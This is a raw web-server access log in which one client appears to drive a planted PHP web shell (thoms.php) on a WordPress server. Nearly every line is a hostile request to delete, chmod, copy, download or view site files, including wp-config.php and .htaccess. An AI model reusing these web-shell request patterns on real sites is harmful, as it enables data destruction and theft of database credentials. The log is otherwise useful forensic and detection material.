45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /thoms.php?del=wp-config.php&p=bossini.com.tw HTTP/1.1" 200 17599 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:17 -0400] "GET /bossini.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bossini.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p= HTTP/1.1" 200 11664 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?p=bossini.com.tw&view=.htaccess HTTP/1.1" 200 12723 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /bossini.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /bossini.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?del=xmlrpc.php&p=bossini.com.tw HTTP/1.1" 200 17546 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?dl=locoy.php&p=bossini.com.tw HTTP/1.1" 200 17592 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?chmod=thoms.php&p=bossini.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-activate.php HTTP/1.1" 200 14816 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /bossini.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?del=cgi-bin&p=bossini.com.tw HTTP/1.1" 200 17597 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?del=locoy.php&p=bossini.com.tw HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /bossini.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-load.php HTTP/1.1" 200 13653 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-settings.php HTTP/1.1" 200 19466 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bossini.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-signup.php HTTP/1.1" 200 22509 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?chmod=index.php&p=bossini.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /bossini.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?del=wp-login.php&p=bossini.com.tw HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw HTTP/1.1" 200 11424 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:19 -0400] "GET /thoms.php?chmod=.well-known&p=bossini.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-trackback.php HTTP/1.1" 200 14098 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bossini.com.tw HTTP/1.1" 200 17599 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?p=bossini.com.tw&view=index.php HTTP/1.1" 200 12048 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?p=bossini.com.tw&view=locoy.php HTTP/1.1" 200 12954 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bossini.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12027 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bossini.com.tw HTTP/1.1" 200 17598 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /bossini.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /bossini.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?del=.well-known&p=bossini.com.tw HTTP/1.1" 200 17595 "http://163.245.207.76:443/thoms.php?del=.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-config.php HTTP/1.1" 200 13713 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:20 -0400] "GET /thoms.php?dl=wp-cron.php&p=bossini.com.tw HTTP/1.1" 200 17594 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /bossini.com.tw/.well-known/ HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?del=wp-settings.php&p=bossini.com.tw HTTP/1.1" 200 17601 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bossini.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bossini.com.tw HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?dl=wp-settings.php&p=bossini.com.tw HTTP/1.1" 200 17601 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?chmod=wp-content&p=bossini.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?dl=filefuns.php&p=bossini.com.tw HTTP/1.1" 200 17602 "http://163.245.207.76:443/thoms.php?dl=filefuns.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?chmod=license.txt&p=bossini.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?dl=license.txt&p=bossini.com.tw HTTP/1.1" 200 17591 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?chmod=locoy.php&p=bossini.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /thoms.php?dl=mah.php&p=bossini.com.tw HTTP/1.1" 200 17585 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:21 -0400] "GET /bossini.com.tw/wp-login.php HTTP/1.1" 404 14140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?p=bossini.com.tw%2F.well-known HTTP/1.1" 200 12593 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bossini.com.tw HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /bossini.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?del=wp-trackback.php&p=bossini.com.tw HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?chmod=cgi-bin&p=bossini.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /bossini.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bossini.com.tw HTTP/1.1" 200 17601 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p= HTTP/1.1" 200 11667 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /bossini.com.tw/thoms.php?p= HTTP/1.1" 200 16375 "https://163.245.207.76/bossini.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /bossini.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-cron.php HTTP/1.1" 200 14185 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /wordpress-6.6.2-zh_TW/wp-login.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /wordpress-6.6.2-zh_TW/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=readme.html HTTP/1.1" 200 15246 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?chmod=wp-activate.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /wordpress-6.6.2-zh_TW/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=mah.php HTTP/1.1" 200 11826 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-activate.php HTTP/1.1" 200 14714 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /wordpress-6.6.2-zh_TW/readme.html HTTP/1.1" 200 2987 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
